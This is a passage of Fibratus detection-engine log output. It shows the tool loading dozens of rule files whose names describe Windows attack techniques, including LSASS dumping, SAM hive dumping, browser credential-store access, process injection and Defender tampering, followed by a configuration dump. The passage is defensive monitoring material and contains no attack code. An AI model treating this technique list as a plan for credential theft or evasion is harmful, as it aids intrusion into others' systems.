C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T14:37:00+01:00 level=info msg=bootstrapping with pid 15628. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T14:37:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] port=>25 content-type=>text/html enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true enable-dns=>false enable-registry=>true flush-interval=>1s enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 max-buffers=>36 enable-net=>true enable-mem=>false enable-image=>true enable-threadpool=>false enable-fileio=>true enable-handle=>false buffer-size=>512 enable-thread=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 formatter=>text max-age=>0 level=>info] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json method=>POST timeout=>5s] elasticsearch=>[ trace-log=>false template-name=>fibratus healthcheck=>true gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s flush-period=>1s enabled=>false healthcheck-interval=>10s sniff=>false timeout=>5s] amqp=>[ routing-key=>fibratus exchange=>fibratus vhost=>/ durable=>false url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s passive=>false delivery-mode=>transient]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false scan-timeout=>10s skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true enabled=>false excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T14:37:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:37:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:37:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T14:37:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:37:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:39:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:39:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T14:39:33+01:00 level=info msg=bootstrapping with pid 3980. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T14:39:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false enable-registry=>true max-buffers=>36 enable-fileio=>true flush-interval=>1s enable-net=>true stack-enrichment=>true enable-threadpool=>false enable-mem=>false enable-audit-api=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-thread=>true min-buffers=>16 buffer-size=>512 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ http=>[ endpoints=>[] timeout=>5s enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json method=>POST] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient passive=>false vhost=>/ durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus enabled=>false] elasticsearch=>[ gzip-compression=>false flush-period=>1s template-name=>fibratus healthcheck-interval=>10s sniff=>false trace-log=>false timeout=>5s bulk-workers=>1 index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false healthcheck=>true]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] 